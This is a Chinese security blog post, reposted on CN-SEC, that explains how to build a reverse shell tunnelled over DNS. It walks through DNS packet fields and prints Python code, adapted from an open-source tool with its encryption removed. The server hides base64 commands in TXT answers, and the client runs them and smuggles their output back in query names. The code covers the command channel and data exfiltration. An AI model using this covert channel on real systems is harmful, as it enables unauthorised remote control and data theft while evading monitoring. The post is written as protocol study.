也说DNS反弹Shell

admin 2022年5月17日11:20:07安全博客评论3 views2712字阅读9分2秒阅读模式

我们就是喜欢在正常的位置放进去一些奇怪的东西。

0x01 引子

反弹Shell广泛应用于远程控制下的权限维持,通过反转攻(客户端)和受(服务端)的角色,来实现条件限制,尤其是内网情况下的远程连接。

反弹Shell的工具和实现方法多种多样,只要能够让被控端通过网络发送数据到控制端,并且实现数据的解析即可完成控制过程。

最近在继续了解网络协议,于是突然想在DNS数据包中插入一些伪造的命令来实现解析,本来准备自己尝试写一个DNS服务器和DNS请求程序来实现反弹,不过刚动笔就看到了别人开源的程序,于是直接使用别人的程序来学习了。

https://github.com/ahhh/Reverse_DNS_Shell

为了运行测试更方便,去掉了程序中的加解密功能,额外的Python包只需要dns和dnslib

0x02 DNS

为了关联主机和IP地址对应关系而诞生的DNS本身,不需要我在这里赘述了。跳过域名构成、查询过程等可以轻松在网络查询到的内容,我们直接来看看DNS的包构成

在smtp那篇文章中,我们提过一层一层洋葱状的协议包裹,在这里,我们跳过以太、IP、UDP头,直接到DNS数据的部分。

  • 标志着数据开始的是Tran ID段,所有的问答信息都需要一定的机制来保证对应,这部分应该就是对应机制中的一部分。
  • 紧接着的Flags,0x0100表明了一些查询属性。
  • Queries中是我们所要查询的host,查询类型。作为A类型查询,得到的是host的IP,这里也是我们做手脚的地方,不过TXT类型可以插入一些附加的信息,更适合我们用来构造命令语句。

服务器回应包如下:

  • 作为回应的Tran ID,它和查询包相同。
  • Flags中标准回应标志位
  • 重复显示的Queries
  • 回应的Answers信息。通过CNAME查取主机规范名,再通过规范名查取对应IP。

利用这种相互应答的特性,我们初步计划通过以下流程来实现我们的反弹Shell

被控端:  发送DNS请求——>  接收回应并解析执行命令  ——>   发送DNS请求
              |                    /|\               |
              |                     |                |
              |                     |                |
             \|/                    |               \|/
控制端: 接收DNS请求并解析命令回显——发送添加了命令的回应——接收DNS并解析命令

0x03 程序

原始的程序可以在上面的github中找到,这里贴出我们去掉加解密的部分程序。

先说DNS服务器的部分

1
2
3
4
5
6
7
8
def spawnShell(answer, payload):
shellInput = raw_input(PROMPT)
if shellInput == 'quit': EXIT = 1
if shellInput == '': spawnShell(answer, payload)
out = base64.b64encode(shellInput)
answer.add_answer(
*dnslib.RR.fromZone('{}.com 60 TXT "{}"'.format(payload, out))
return answer

这一部分封装了对DNS的应答,payload里是被控端发来的查询信息,也就是上一次命令执行后的回显,而out是我们这一次的命令,封装成了TXT的应答包

1
2
3
4
5
6
def recievePayload(udps):
data, addr = udps.recvfrom(1024)
dnsD = dnslib.DNSRecord.parse(data)
payload = dnsD.questions[0].qname.label[0]
answer = dnsD.reply()
return addr, payload, answer

这部分对于被控端的查询包进行解析,从中获取到地址和数据,对于数据,解析出其中的命令回显,并且初始化一个应答包。

主函数中使用socket监听相关端口,对于监听到的包按照预定流程进行处理。

再来看看被控端发送的部分

1
2
3
4
5
6
def start(host):
while 1:
a = startConnection(host)
cmd = parseCmd(a)
stdoutput = runCmd(cmd)
sendOutputToServer(stdoutput, host)

首先是整个流程一览,从程序中可以很清晰的看到建立连接,解析命令,执行命令,发送回显的过程。

1
2
3
4
5
6
def startConnection(host):
url = formURL(nextCommand)
request = dns.message.make_query(url, dns.rdatatype.TXT)
answers = dns.query.udp(request, host)
a = answers.to_text()
return a

构造的url,也就是命令回显,对于没有命令的,会返回nxt。利用回显构造查询语句。

1
2
def parseCmd(a):
def runCmd(cmd)

这两段程序对于收到的文本格式的命令进行解析和执行,没有太多的东西可以讲。只是注意格式的截取,并且考虑对Linux和Windows的命令之间转换。

1
2
3
4
5
6
7
8
9
10
11
12
13
def sendOutputToServer(output, host):
send =''
output_end = len(output)
for chunk in output:
send += chunk
output_end -= 1
if len(send) == 58:
url = formURL(send)
dnsMakeQuery(url, host)
send =''
if output_end == 0:
url = formURL(send)
dnsMakeQuery(url, host)

这部分负责发送DNS查询,按照与服务器约定的格式构造包并且进行发送。

0x04 测试

我们需要先执行服务器端程序,然后执行被控端程序。我的服务端程序在一台Ubuntu主机上,被控端在我的Win10机器上。

如图,是在Ubuntu上对Win10执行ipconfig命令的显示。

我们再进行抓包分析:

这是被控端第一次连接时发送的包,因为控制端还没有指令,第一次连接发送的是空包,其中Name的值bnh0就是我之前所说的NXT

而第二个包就是控制端发送的指令,在TXT中发送的就是指令whoami的base64编码,

可以对比和我之前实际抓包的不同之处,对照可以看出我们在DNS包的哪些地方做过修改。

0x05 延伸

其实相关的DNS隧道技术原理应该差不多,都是在本来应该放DNS规定信息的地方放入了其他的东西,来达到一些意想不到的结果。

当然,RFC还有许多协议可以让我随意构造去做测试,下一步考虑写一个多协议支持的Fuzzing工具 :)


FROM : phantom0301 | Author:phantom0301

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月17日11:20:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  也说DNS反弹Shell http://cn-sec.com/archives/1013095.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: